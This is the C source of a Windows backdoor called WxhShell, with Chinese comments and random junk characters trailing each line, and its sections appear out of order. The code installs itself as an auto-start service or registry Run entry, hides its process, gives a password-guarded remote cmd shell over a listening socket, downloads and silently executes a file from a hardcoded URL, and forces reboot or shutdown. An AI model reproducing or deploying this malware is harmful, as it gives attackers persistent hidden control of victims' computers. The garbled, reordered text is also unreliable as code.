    if(Boot(SHUTDOWN)) ]XafFr6pe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0V,MDX}#_  
    else { -r'seb5  
    closesocket(wsh); ~S_IU">E  
    ExitThread(0); (cA|N0  
    } L(n~@ gq  
    break; Jx>B %vZ\  
    } pD6g+Taj  
  // 获取shell ;I))gY-n  
  case 's': { DfzUGX  
    CmdShell(wsh); l5OV!<7~X  
    closesocket(wsh); iai4$Y(%  
    ExitThread(0); u,,WD  
    break; Hi" n GH  
  } l}-`E@w  
  // 退出 6F&]Mk]V8  
  case 'x': { K2MNaB   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iE gM ~  
    CloseIt(wsh); -+_aL4.  
    break; -Fc#  
    } $H@)hY8wA  
  // 离开 p'!,F; xX  
  case 'q': { s]8J+8 <uO  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); nzJi)A./  
    closesocket(wsh); `0XbV A  
    WSACleanup(); V >uW|6  
    exit(1); fX$4TPy(h  
    break; P:-/3  
        } k8wi-z[dV  
  } W (c\$2`  
  } ts\>_/  
S,9WMti4x  
  // 提示信息 `&[:!U2]F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YJvT p~  
} -&D6w9w  
  } f#Cdx"  
<\>ak7m  
  return; 1nTaKK q  
} p}|wO&4h  
vfTG*jG  
// shell模块句柄 la|l9N^,  
int CmdShell(SOCKET sock) ?[/,*Q%  
{ ];~[Olc  
STARTUPINFO si; (0m$W<  
ZeroMemory(&si,sizeof(si)); 2LH;d`H[0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e.ym7L]$O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Wy>\KrA1  
PROCESS_INFORMATION ProcessInfo; E/P53CD  
char cmdline[]="cmd"; NWwtq&pz2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); UMW^0>Z!v  
  return 0; $hp?5K M  
} EjE`S_i=  
XTaWd0Y  
// 自身启动模式 Or) c*.|\  
int StartFromService(void) ,vw`YKg  
{ iSLf:  
typedef struct 9QZwUQ  
{ &0Zk3D4  
  DWORD ExitStatus; Ns8NaD  
  DWORD PebBaseAddress; WzbN=& C]h  
  DWORD AffinityMask; '?GZ"C2  
  DWORD BasePriority; c O>:n  
  ULONG UniqueProcessId; 6@ ^`-N;  
  ULONG InheritedFromUniqueProcessId; pYUkd!K"  
}   PROCESS_BASIC_INFORMATION; @wJa33QT  
#|h8u`  
PROCNTQSIP NtQueryInformationProcess; pdqa)>$  
aMg f6veM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; IMrOPwjc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N%E2BJ?  
G*p.JsZP  
  HANDLE             hProcess; O|zmDp8a+  
  PROCESS_BASIC_INFORMATION pbi; ?ML<o>OKg  
-+@~*$ d  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Awf = yE:  
  if(NULL == hInst ) return 0; ms<uYLp  
zGz'2, o3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Xtnmh)'K~#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'z!#E!i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f|1FqL+T]  
<f{`}drp/  
  if (!NtQueryInformationProcess) return 0; NfN6KDd]2L  
i j;'4GzQL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z( [$,e\  
  if(!hProcess) return 0; &n kGdHX/a  
 2_v+q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H1i4_T  
%-po6Vf  
  CloseHandle(hProcess); bO3KaOC8N  
zb,`K*Z{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q[A3$y(  
if(hProcess==NULL) return 0; Jn&>Z? @  
J uKaRR~  
HMODULE hMod; ,?~,"IQyi[  
char procName[255]; pR>QIZq<gT  
unsigned long cbNeeded; #N}}8RL  
sswAI|6ou  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5g7}A`  
2DdLqZY#  
  CloseHandle(hProcess); Cms"OkN  
8^i,M^f^{  
if(strstr(procName,"services")) return 1; // 以服务启动 LgKEg90w(  
R! xc $`N  
  return 0; // 注册表启动 4>`w9   
} bGO_y]Pc  
y N%Pe:R  
// 主模块 Q[tz)99~  
int StartWxhshell(LPSTR lpCmdLine) i.,B 0s] Z  
{ uW_ /7ex  
  SOCKET wsl; < _uv!N  
BOOL val=TRUE; F$p,xFH#  
  int port=0; }gaKO 5  
  struct sockaddr_in door; :8T@96]P  
G=Bj1ss.  
  if(wscfg.ws_autoins) Install(); Y %8QFM  
RM$S|y{L  
port=atoi(lpCmdLine); me\)JCZpb{  
5*Iz3vTq  
if(port<=0) port=wscfg.ws_port; ')~HOCBSE  
IWnW(>V  
  WSADATA data; D"5~-9<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MRu+:Y=K  
iAhRlQ{Qu  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >g=:01z9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sOenR6J<$  
  door.sin_family = AF_INET; :PkSX*E[q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T5G+^XDA  
  door.sin_port = htons(port); m':m`,c!  
-8e tH&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f 2f $aZ  
closesocket(wsl); jZ yh   
return 1; xF0*q  
} =J\7(0Dz4t  
Mt0|`=64  
  if(listen(wsl,2) == INVALID_SOCKET) { v>l?d27R  
closesocket(wsl); ?"Q6;np*  
return 1; c~;.m<yrf  
} \LXNdE2B  
  Wxhshell(wsl); H[U*' 2TJ  
  WSACleanup(); >.>5%  
k Er7,c  
return 0; :D-vE7  
!OemS 7{  
} 0C_Qp%Z  
:g_ +{4  
// 以NT服务方式启动 d^>se'ya  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) roQIP%h!  
{ a)b@en;v  
DWORD   status = 0; VQ`O;n6/`  
  DWORD   specificError = 0xfffffff; _~"3 LB  
?Kf@/jv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; GrIdQi^8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; FA,CBn5%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; " WL  
  serviceStatus.dwWin32ExitCode     = 0; _bsfM;u.%  
  serviceStatus.dwServiceSpecificExitCode = 0; H8U*oLlc  
  serviceStatus.dwCheckPoint       = 0; GV/FK{v5  
  serviceStatus.dwWaitHint       = 0; RzRLrfV  
' 'N@ <|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j+seJg<_  
  if (hServiceStatusHandle==0) return; K*[wr@)u  
['j,S<Bu~  
status = GetLastError(); oQO3:2a  
  if (status!=NO_ERROR) \GP c_m:qL  
{ ['<rfK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7#QH4$@1P  
    serviceStatus.dwCheckPoint       = 0; nK$m:=  
    serviceStatus.dwWaitHint       = 0; e{/\znBS%  
    serviceStatus.dwWin32ExitCode     = status; Joj8'  
    serviceStatus.dwServiceSpecificExitCode = specificError; yKJp37R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  _>l,%n  
    return; A 78{b^0*  
  } zvWQ&?&o2  
38^_(N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SQK6BEjE8  
  serviceStatus.dwCheckPoint       = 0; hBw~l?G  
  serviceStatus.dwWaitHint       = 0; kPe9G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hz|$3*q  
} uOx$@1v,  
!j@ 8:j0WY  
// 处理NT服务事件,比如:启动、停止 q\<vCKI-^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %iNDRLR%I  
{ |xOOdy6 )~  
switch(fdwControl) HIAd"}^  
{ &gfQZxT  
case SERVICE_CONTROL_STOP: ~x+w@4)a>  
  serviceStatus.dwWin32ExitCode = 0; HN! l-z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~ln,Cm} 4  
  serviceStatus.dwCheckPoint   = 0; ebchHnOd  
  serviceStatus.dwWaitHint     = 0; w,7 GC5j\  
  { V{r@D!}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A{vG@Pwc:  
  } E}u\{uY  
  return; B#}RMFIj  
case SERVICE_CONTROL_PAUSE: `JCC-\9T_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -XBNtM_ "  
  break; l=yO]a\QZ  
case SERVICE_CONTROL_CONTINUE: ) AIZE?oX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /~Iy1L#  
  break; S3m+(N"&  
case SERVICE_CONTROL_INTERROGATE: rX[R`,`>Z[  
  break; O%I'   
}; *`W82V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vL7}0n>tz  
} 5+r#]^eQY-  
Tq+pFEgQ`@  
// 标准应用程序主函数 wP i=+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |(N4x(xl  
{ 8VnZ@*  
UJI1n?~  
// 获取操作系统版本 RK0IkRXQd  
OsIsNt=GetOsVer(); 6lPGop]js]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q=[&~^ Y)  
FP$]D~DMo  
  // 从命令行安装 ]!QeJ'BLM  
  if(strpbrk(lpCmdLine,"iI")) Install(); <fxYTd<#D[  
^]kDYhe*Y  
  // 下载执行文件 +^.(3Aw  
if(wscfg.ws_downexe) { q0}LfXql8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LYKepk  
  WinExec(wscfg.ws_filenam,SW_HIDE); Xo,BuK&G  
} -mXEbsm  
%`~8j H@  
if(!OsIsNt) { 1JM~Ls%Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y9u2:y!LdL  
HideProc(); r |(Lb'k  
StartWxhshell(lpCmdLine); -4;u|0_  
} ~(c<ioIf  
else g8C+j6uR0  
  if(StartFromService()) 0|cQx VJb  
  // 以服务方式启动 83h6>D b  
  StartServiceCtrlDispatcher(DispatchTable); )}R0'QGd  
else p`It=16trT  
  // 普通方式启动 O/-xkzR*  
  StartWxhshell(lpCmdLine); Y#G '[N>  
Vj_ $%0  
return 0; Uhf -}Jdw  
} c{[d@jt O  
pq@ad\8  
opBv x>S  
Gr_I/+<  
=========================================== Wrlmo'31  
3wK)vW  
i9\Pks#l%  
e2;"> tp6?  
(\G~S 4  
vi'K|[!?  
" =(o$1v/k  
(C!fIRY  
#include <stdio.h> kAqk~.  
#include <string.h> K3jno+U&  
#include <windows.h> 2/GH5b(  
#include <winsock2.h> 4CDmq[AVS[  
#include <winsvc.h> Qr/?tMALc  
#include <urlmon.h> `VHm,g2  
dsh}-'>  
#pragma comment (lib, "Ws2_32.lib") ukN#>e+L1  
#pragma comment (lib, "urlmon.lib") 6Cibc .vt  
}MoCUN)I  
#define MAX_USER   100 // 最大客户端连接数 E\ QSU88^  
#define BUF_SOCK   200 // sock buffer HLS^Ga,(  
#define KEY_BUFF   255 // 输入 buffer I(2ID +  
j*P@]&e7d  
#define REBOOT     0   // 重启 bBZvL  
#define SHUTDOWN   1   // 关机 JL <}9K  
CxO) d7c  
#define DEF_PORT   5000 // 监听端口 X%;,r 2g  
;m\E9ple  
#define REG_LEN     16   // 注册表键长度 k07O.9>  
#define SVC_LEN     80   // NT服务名长度 S>6APQ-   
ohwQ%NDl  
// 从dll定义API w^r*qi"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  W?.Y%wc0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }JI5,d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); LnBkd:>}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4kx#=MLt  
1j}o. 0\  
// wxhshell配置信息 <Wl! Qog'  
struct WSCFG { 1[!Idl?m  
  int ws_port;         // 监听端口 HzW ZQ6o  
  char ws_passstr[REG_LEN]; // 口令 \PL92HV  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0ya_[\  
  char ws_regname[REG_LEN]; // 注册表键名 2-8<uUy  
  char ws_svcname[REG_LEN]; // 服务名 &We'omq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J?%Z7&/M>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 w=OT^d 9n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'Y[\[]3[8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -2f0CAh~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m0 `wmM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :qI myaGQ  
9!o:)99U  
}; iK)w3S}k1y  
)]v vp{  
// default Wxhshell configuration i^ 1P6B  
struct WSCFG wscfg={DEF_PORT, X2s=~)`#c  
    "xuhuanlingzhe", @mW0EJ8bb  
    1,  Wkf)4!  
    "Wxhshell", !I:6L7HdwB  
    "Wxhshell", gbo{Zgf<  
            "WxhShell Service", !j\  yt  
    "Wrsky Windows CmdShell Service", ?vvjwys@  
    "Please Input Your Password: ", "ibKi=  
  1, R_/T bz  
  "http://www.wrsky.com/wxhshell.exe", Dtn|$g,  
  "Wxhshell.exe" +&JF|#FQ`  
    }; puDy&T  
rGx1>xd(k  
// 消息定义模块 (R.k.,z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r0_3`; H  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lQoa[#q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; No j6Ina  
char *msg_ws_ext="\n\rExit."; bw+~5pqM  
char *msg_ws_end="\n\rQuit."; R9{6$djq\:  
char *msg_ws_boot="\n\rReboot..."; E-l>z%  
char *msg_ws_poff="\n\rShutdown..."; 9erTb?@S  
char *msg_ws_down="\n\rSave to "; jMgNi@  
>:8GU f*  
char *msg_ws_err="\n\rErr!"; ^8B#-9Ph b  
char *msg_ws_ok="\n\rOK!"; ?9/%K45  
^lbOv}C*  
char ExeFile[MAX_PATH]; `$Q $l  
int nUser = 0; 24]O0K  
HANDLE handles[MAX_USER]; KrG$W/<tg  
int OsIsNt; AM,@BnEcuT  
&EZ28k"x  
SERVICE_STATUS       serviceStatus; J1g `0XH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4 uD!-1LT@  
c}$?k@=  
// 函数声明 .,-t}5(VSq  
int Install(void); p-M QI }  
int Uninstall(void); <^OGJ}G  
int DownloadFile(char *sURL, SOCKET wsh); )4"G1R`3  
int Boot(int flag); D{\hPv  
void HideProc(void); ASPfzW2  
int GetOsVer(void); pZF`+6 42  
int Wxhshell(SOCKET wsl); lZ'NL bK  
void TalkWithClient(void *cs); ,f4Hl%T;  
int CmdShell(SOCKET sock); e>X&[\T  
int StartFromService(void); y1FS?hSD0  
int StartWxhshell(LPSTR lpCmdLine); ^?w6  
F~z4T/TN%G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9^>nZ6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); WY  #pzBA  
iwrS>Sm  
// 数据结构和表定义 L/#^&*'B  
SERVICE_TABLE_ENTRY DispatchTable[] = A03,X;S+  
{ n`;=^^B  
{wscfg.ws_svcname, NTServiceMain}, "m(HQ5e)*  
{NULL, NULL} =[3I#s?V  
}; 8+Oyhd*|  
r>A, 7{  
// 自我安装  KGFmC[  
int Install(void) >4b-NS/}0  
{ V(w2k^7) F  
  char svExeFile[MAX_PATH]; ,\xeNUZd  
  HKEY key; 8.F]&D0p8  
  strcpy(svExeFile,ExeFile); cC b'z1  
P]1`=-  
// 如果是win9x系统,修改注册表设为自启动 Q(>89*b&  
if(!OsIsNt) { XF'K dz>p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BPwFcT)i!(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6xvyhg#B  
  RegCloseKey(key); !Zlvz%X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ney6N@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Sycs u_je  
  RegCloseKey(key); _T)dmhG  
  return 0; \k;*Ej~.  
    } rt^<=|Z  
  } c5nl!0XX  
} eBlVb*nmq  
else { CZuV{Oh}?  
L1 O\PEeT  
// 如果是NT以上系统,安装为系统服务 P]bI".A8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ZQZ>{K  
if (schSCManager!=0) grp1nWAs  
{ oX8e}  
  SC_HANDLE schService = CreateService o&-q.;MY  
  ( lL/|{A|-j  
  schSCManager, P0Z1cN}  
  wscfg.ws_svcname, [2WJ>2r}6  
  wscfg.ws_svcdisp, zkA"2dh  
  SERVICE_ALL_ACCESS, ;n?H/(6X8>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |Rf4^vN  
  SERVICE_AUTO_START, $&OoxC  
  SERVICE_ERROR_NORMAL, ag+$qU  
  svExeFile, oEGe y8?  
  NULL, ~L<q9B( @  
  NULL, !:'%'@uc  
  NULL, z|x0s0q?  
  NULL, Gn>#Mvq  
  NULL =TE6R 0b  
  ); /n"Ib )M  
  if (schService!=0) >T'^&l(:  
  { CuR.a  
  CloseServiceHandle(schService); Wz`MEyj  
  CloseServiceHandle(schSCManager); Hw-,sze j"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0sD"Hu  
  strcat(svExeFile,wscfg.ws_svcname); [yF>W$Bn%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ep>*]'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7`9J.L&,;  
  RegCloseKey(key); }uz*6Z(S  
  return 0; 0Rz'#O32V  
    } /r^J8B*  
  } A (S=  
  CloseServiceHandle(schSCManager); 7Y"CeU-S  
} / q*n*j  
} UC"<5z lcu  
_l<e>zj  
return 1; HTA@en[5  
} 7 ^>UUdk(  
z<YOA  
// 自我卸载 -Jr6aai3+  
int Uninstall(void) X"0n*UTF,  
{ 0p YO-@E  
  HKEY key; n}Pz:  
7A@]t_83Y  
if(!OsIsNt) { qq9fZZb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @*`9!K%  
  RegDeleteValue(key,wscfg.ws_regname); =87.6Ai  
  RegCloseKey(key); -rb]<FrL^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BG\g`NK}Z  
  RegDeleteValue(key,wscfg.ws_regname); >AX&PMb`  
  RegCloseKey(key); _BHR ?I[w  
  return 0; bKRz=$P?  
  } 65X$k]x  
} jODx&dVr  
} C]59@z;+bN  
else { E2+x?Sc+  
^@5#jS2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8FYcUvxfT  
if (schSCManager!=0) 8VxjC1v+  
{ r\-Mj\$-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); KjFNb;mM  
  if (schService!=0) 2mg4*Ys  
  { nG hFYQl  
  if(DeleteService(schService)!=0) { " lar~  
  CloseServiceHandle(schService); 1#9qP~#]'{  
  CloseServiceHandle(schSCManager); kq xX!  
  return 0; 4Y2l]86  
  } 4Qh\3UL~  
  CloseServiceHandle(schService); -b'93_ZTu:  
  } >U?HXu/TJr  
  CloseServiceHandle(schSCManager); cyu)YxT  
} Z:7X=t =  
} YaI8hj@}  
Ry2rQM`  
return 1; #!!Ea'3Iq  
} jLRUWg  
|O =Fz3)  
// 从指定url下载文件 O {u^&V]  
int DownloadFile(char *sURL, SOCKET wsh) DY<Br;  
{ Huzw>  
  HRESULT hr; Q%:#xG5AmE  
char seps[]= "/"; Sg;c|u  
char *token; S,A\%:Va  
char *file; :j2G0vHIl(  
char myURL[MAX_PATH]; zOO:`^ m  
char myFILE[MAX_PATH]; $C@v  
1xAZ0X#  
strcpy(myURL,sURL); *tkbC2D  
  token=strtok(myURL,seps); 'oNY4.[  
  while(token!=NULL) rBG8.E36J  
  { "uK`!{  
    file=token; N]qX^RSb  
  token=strtok(NULL,seps); $42%H#  
  } =73""ry  
n u|paA  
GetCurrentDirectory(MAX_PATH,myFILE); 57W4E{A  
strcat(myFILE, "\\"); mqPV Eo  
strcat(myFILE, file); e}e|??'(\  
  send(wsh,myFILE,strlen(myFILE),0); E5@U~|V[  
send(wsh,"...",3,0); g_{hB5N](7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ewg5s?2|  
  if(hr==S_OK) A#t#c*  
return 0; e+J|se4L5  
else cu&tdg^q  
return 1; --Dd'  
j n[%@zD}  
} O{WJi;l  
tu(k"'aJ  
// 系统电源模块 4'L%Wz[6  
int Boot(int flag)  J`F][ A  
{ :i'jQ<|wZN  
  HANDLE hToken; ~]t/|xep  
  TOKEN_PRIVILEGES tkp; ODE9@]a  
eLC}h %  
  if(OsIsNt) { NY]`1yy  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @mM])V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OFS` ?>  
    tkp.PrivilegeCount = 1; |%6zhkoufM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h ]'VAt  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); CH h]v.V  
if(flag==REBOOT) { }*0OLUFFJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L_$M9G|5n  
  return 0; aBL+i-  
} bqB gq  
else { K.CwtUt`54  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =l%"Om*A  
  return 0; 5|zISK%zHS  
} u[25U;xo  
  } {-X8MisI  
  else { P=ARttT`(  
if(flag==REBOOT) { %DJxUuh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <cTusC<  
  return 0; etbB;!6  
} ~c8Z9[QW  
else { ]F&<{\:_}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~4p@m>>  
  return 0; ba_T:;';0  
} Iz;hje4JL  
} P<@Yux#  
Mk-C&#'  
return 1; mRI W9V  
} U?dd+2^};t  
adEcIvN$  
// win9x进程隐藏模块 0Me *X  
void HideProc(void) 3\Y}{(O |  
{  %trtP  
TRQX#))B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  lZ^UAFF  
  if ( hKernel != NULL ) Rb_HD  
  { Epm'u[wV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?kvc`7>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?cQ  
    FreeLibrary(hKernel); lW F=bz0  
  } gHS;RF9  
I<Vh Eo,  
return; -QaS/WO_  
} y@!kp*0  
HRF4 Ro  
// 获取操作系统版本 MYqxkhcLH1  
int GetOsVer(void) 8YI.f  
{ ,^JP0Vc*  
  OSVERSIONINFO winfo; BS}uv3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <L+D  
  GetVersionEx(&winfo); 'WH@Zk/l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M5OH-'  
  return 1; w+vYD2 a  
  else d7o~$4h|  
  return 0; kTQ`$V(>&  
} 'ad|@Bh  
Jt4T)c9  
// 客户端句柄模块 c9e  }P  
int Wxhshell(SOCKET wsl) dO Y+| P\  
{ h[d|y_)f  
  SOCKET wsh; IQK__)  
  struct sockaddr_in client; D_E^%Ea&`  
  DWORD myID; Z+"%MkX0  
?k4O)?28  
  while(nUser<MAX_USER) lyzMKla"  
{ GiBq1U-Q  
  int nSize=sizeof(client); JnX@eBNV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9\W~5J<7  
  if(wsh==INVALID_SOCKET) return 1; 45` Gv  
5gq3 >qo  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {rr ED  
if(handles[nUser]==0) ~Ra1Zc$o:  
  closesocket(wsh); ilv6A9/  
else VHsNz WI  
  nUser++; %^RlE@l9  
  } r]1|I6:&)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); g<~[k?~J  
Tr}@fa  
  return 0; Rk fr4  
} _:om(gL  
zk]6|i$!I  
// 关闭 socket (,\`?g  
void CloseIt(SOCKET wsh) uC G^,BQ  
{ %j=E}J<H5*  
closesocket(wsh); ]4@z.1Mr  
nUser--; Dbr(Wg  
ExitThread(0); st36xS  
} /IVw}:G  
fw^mjD  
// 客户端请求句柄 FK!9to>  
void TalkWithClient(void *cs) NXDV3MH=  
{ %V;k/w~[  
&..![,)w^!  
  SOCKET wsh=(SOCKET)cs; NWB/N*  
  char pwd[SVC_LEN]; KM (U-<<R  
  char cmd[KEY_BUFF]; {rOz[E9vm  
char chr[1]; f9u["e  
int i,j; wP/rR D6  
?|^1-5l3  
  while (nUser < MAX_USER) { ;D]TPBE  
=_cWCl^5  
if(wscfg.ws_passstr) { Pw /wAUt  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iZ[o2Tre  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,%d n)gt7  
  //ZeroMemory(pwd,KEY_BUFF); RCNqHYR  
      i=0; V&KH{j/P  
  while(i<SVC_LEN) { xPqpNs-,  
Z<y +D-/  
  // 设置超时 ?MeP<5\A  
  fd_set FdRead; K1z"..(2J  
  struct timeval TimeOut; f7OfN#I  
  FD_ZERO(&FdRead); Fw:s3ON9}  
  FD_SET(wsh,&FdRead); UeE& 8{=d  
  TimeOut.tv_sec=8; T4Z("  
  TimeOut.tv_usec=0; 7K9+7I&C  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `Pl=%DR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `Y.RAw5LrE  
J#@ "Yb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "DWw1{ 5/  
  pwd=chr[0]; I?-9%4 8iM  
  if(chr[0]==0xd || chr[0]==0xa) { Ltcr]T(Ic  
  pwd=0; V0JoUyZ  
  break; Cgw#c%  
  } L0|Vc9  
  i++; aqs']  
    } Q8Usyc'3  
F>A-+]X3o  
  // 如果是非法用户,关闭 socket IG +nrTY0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }Sp MHR`  
} ?Pmj}f  
"_'9KBd!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @oYq.baHX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n2 ,b~S\e  
L6$,<}l  
while(1) { ]2zx}D4f  
v}[KVwse  
  ZeroMemory(cmd,KEY_BUFF); xNxIqq<k  
%X GX(  
      // 自动支持客户端 telnet标准   7F?^gMi  
  j=0; ; @Gm@d  
  while(j<KEY_BUFF) { &$hfAG]"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :CHCVoh@95  
  cmd[j]=chr[0]; 7-e)V{A`w  
  if(chr[0]==0xa || chr[0]==0xd) { @zfeCxVOA  
  cmd[j]=0; R52q6y:<x  
  break; r(vk2Qy  
  } WKxJ`r\  
  j++; QS=n 50T,  
    } s3kh (N  
0?,EteR  
  // 下载文件 .M:,pw"S]  
  if(strstr(cmd,"http://")) { *o"F.H{#N  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +< BAJWU  
  if(DownloadFile(cmd,wsh)) m}Tu^dy  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L?KEe>;r  
  else E pM 4 +  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); , {z$M  
